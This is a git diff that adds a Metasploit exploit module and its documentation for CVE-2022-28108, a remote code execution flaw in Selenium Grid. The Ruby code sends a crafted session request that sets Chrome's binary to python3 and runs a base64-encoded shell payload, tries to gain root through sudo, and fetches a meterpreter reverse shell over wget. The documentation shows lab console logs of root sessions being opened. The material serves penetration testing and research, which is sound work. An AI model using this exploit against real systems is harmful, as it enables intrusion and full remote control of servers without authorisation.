diff --git a/documentation/modules/exploit/linux/http/selenium_greed_chrome_rce_cve_2022_28108.md b/documentation/modules/exploit/linux/http/selenium_greed_chrome_rce_cve_2022_28108.md new file mode 100644 index 000000000000..21f9f50ea2cd --- /dev/null +++ b/documentation/modules/exploit/linux/http/selenium_greed_chrome_rce_cve_2022_28108.md @@ -0,0 +1,112 @@ +## Vulnerable Application + +Selenium Server (Grid) before 4.0.0-alpha-7 allows CSRF because it permits non-JSON content types +such as application/x-www-form-urlencoded, multipart/form-data, and text/plain. + +The vulnerability affects: + + * Selenium Server (Grid) before 4.0.0-alpha-7 + +This module was successfully tested on: + + * selenium/standalone-chrome:3.141.59 installed with Docker on Ubuntu 24.04 + * selenium/standalone-chrome:4.0.0-alpha-6-20200730 installed with Docker on Ubuntu 24.04 + + +### Installation + +1. `docker pull selenium/standalone-chrome:3.141.59` + +2. `docker run -d -p 4444:4444 -p 7900:7900 --shm-size="2g" selenium/standalone-chrome:3.141.59` + + +## Verification Steps + +1. Install the application +2. Start msfconsole +3. Do: `use exploit/linux/http/selenium_greed_chrome_rce_cve_2022_28108` +4. Do: `run lhost= rhost=` +5. You should get a meterpreter + + +## Options + + +## Scenarios +### selenium/standalone-chrome:3.141.59 installed with Docker on Ubuntu 24.04 +``` +msf6 > use exploit/linux/http/selenium_greed_chrome_rce_cve_2022_28108 +[*] Using configured payload cmd/linux/http/x64/meterpreter_reverse_tcp +msf6 exploit(linux/http/selenium_greed_chrome_rce_cve_2022_28108) > options + +Module options (exploit/linux/http/selenium_greed_chrome_rce_cve_2022_28108): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 4444 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + VHOST no HTTP server virtual host + + +Payload options (cmd/linux/http/x64/meterpreter_reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + FETCH_COMMAND WGET yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET) + FETCH_DELETE true yes Attempt to delete the binary after execution + FETCH_FILENAME OmbNmrIU no Name to use on remote system when storing payload; cannot contain spaces or slashes + FETCH_SRVHOST no Local IP to use for serving payload + FETCH_SRVPORT 8080 yes Local port to use for serving payload + FETCH_URIPATH no Local URI to use for serving payload + FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces + LHOST yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Linux Command + + + +View the full module info with the info, or info -d command. + +msf6 exploit(linux/http/selenium_greed_chrome_rce_cve_2022_28108) > run lhost=192.168.56.1 rhost=192.168.56.16 rport=4444 +[*] Started reverse TCP handler on 192.168.56.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Version 3.141.59 detected, which is vulnerable. +[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.16:40990) at 2024-12-30 13:33:31 +0900 + +meterpreter > getuid +Server username: root +meterpreter > sysinfo +Computer : 172.17.0.5 +OS : Ubuntu 20.04 (Linux 6.8.0-51-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > +``` + +### selenium/standalone-chrome:4.0.0-alpha-6-20200730 installed with Docker on Ubuntu 24.04 +``` +msf6 exploit(linux/http/selenium_greed_chrome_rce_cve_2022_28108) > run lhost=192.168.56.1 rhost=192.168.56.16 rport=4447 +[*] Started reverse TCP handler on 192.168.56.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[!] The service is running, but could not be validated. Selenium Grid version 4.x detected. +[*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.16:34888) at 2024-12-30 13:34:30 +0900 + +meterpreter > getuid +Server username: root +meterpreter > sysinfo +Computer : 172.17.0.6 +OS : Ubuntu 18.04 (Linux 6.8.0-51-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > +``` diff --git a/modules/exploits/linux/http/selenium_greed_chrome_rce_cve_2022_28108.rb b/modules/exploits/linux/http/selenium_greed_chrome_rce_cve_2022_28108.rb new file mode 100644 index 000000000000..0df68c1f4119 --- /dev/null +++ b/modules/exploits/linux/http/selenium_greed_chrome_rce_cve_2022_28108.rb @@ -0,0 +1,133 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Selenium chrome RCE', + 'Description' => %q{ + Selenium Server (Grid) before 4.0.0-alpha-7 allows CSRF because it permits non-JSON content types + such as application/x-www-form-urlencoded, multipart/form-data, and text/plain. + }, + 'Author' => [ + 'randomstuff (Gabriel Corona)', # Exploit development + 'Wiz Research', # Vulnerability research + 'Takahiro Yokoyama' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2022-28108'], + ['URL', 'https://www.wiz.io/blog/seleniumgreed-cryptomining-exploit-attack-flow-remediation-steps'], + ['URL', 'https://www.gabriel.urdhr.fr/2022/02/07/selenium-standalone-server-csrf-dns-rebinding-rce/'], + ], + 'Payload' => {}, + 'Platform' => %w[linux], + 'Targets' => [ + [ + 'Linux Command', { + 'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd, + 'DefaultOptions' => { + # tested cmd/linux/http/x64/meterpreter_reverse_tcp + 'FETCH_COMMAND' => 'WGET' + } + } + ], + ], + 'DefaultOptions' => { + 'FETCH_DELETE' => true + }, + 'DefaultTarget' => 0, + 'DisclosureDate' => '2022-04-18', + 'Notes' => { + 'Stability' => [ CRASH_SAFE, ], + 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], + 'Reliability' => [ REPEATABLE_SESSION, ] + } + ) + ) + register_options( + [ + Opt::RPORT(4444), + ] + ) + end + + def check + # Request for Selenium Grid version 4 + v4res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'status') + }) + return Exploit::CheckCode::Detected('Selenium Grid version 4.x detected.') if v4res && v4res.get_json_document && + v4res.get_json_document.include?('value') && + v4res.get_json_document['value'].include?('message') && + v4res.get_json_document['value']['message'].downcase.include?('selenium grid') + + # Request for Selenium Grid version 3 + v3res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path) + }) + return Exploit::CheckCode::Unknown('Unexpected server reply.') unless v3res&.code == 200 + + js_code = v3res.get_html_document.css('script').find { |script| script.text.match(/var json = Object.freeze\('(.*?)'\);/) } + return Exploit::CheckCode::Unknown('Unable to determine the version.') unless js_code + + json_str = js_code.text.match(/var json = Object.freeze\('(.*?)'\);/)[1] + begin + json_data = JSON.parse(json_str) + rescue JSON::ParserError + return Exploit::CheckCode::Unknown('Unable to determine the version.') + end + return Exploit::CheckCode::Unknown('Unable to determine the version.') unless json_data && json_data.include?('version') && json_data['version'] + + # Extract the version + version = Rex::Version.new(json_data['version']) + if version == Rex::Version.new('4.0.0-alpha-7') || Rex::Version.new('4.0.1') <= version + return Exploit::CheckCode::Safe("Version #{version} detected, which is not vulnerable.") + end + + CheckCode::Appears("Version #{version} detected, which is vulnerable.") + end + + def exploit + b64encoded_payload = Rex::Text.encode_base64( + "if sudo -n true 2>/dev/null; then\n"\ + " echo #{Rex::Text.encode_base64(payload.encoded)} | base64 -d | sudo su root -c /bin/bash\n"\ + "else\n"\ + " #{payload.encoded}\n"\ + "fi\n" + ) + + # Create the request body as a Ruby hash and then convert it to JSON + body = { + 'capabilities' => { + 'alwaysMatch' => { + 'browserName' => 'chrome', + 'goog:chromeOptions' => { + 'binary' => '/usr/bin/python3', + 'args' => ["-cimport base64,os; bp=b'#{b64encoded_payload}'; os.system(base64.b64decode(bp).decode())"] + } + } + } + }.to_json + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'wd/hub/session'), + 'headers' => { 'Content-Type' => 'text/plain' }, + 'data' => body + }) + fail_with(Failure::Unknown, 'Unexpected server reply.') unless res + end + +end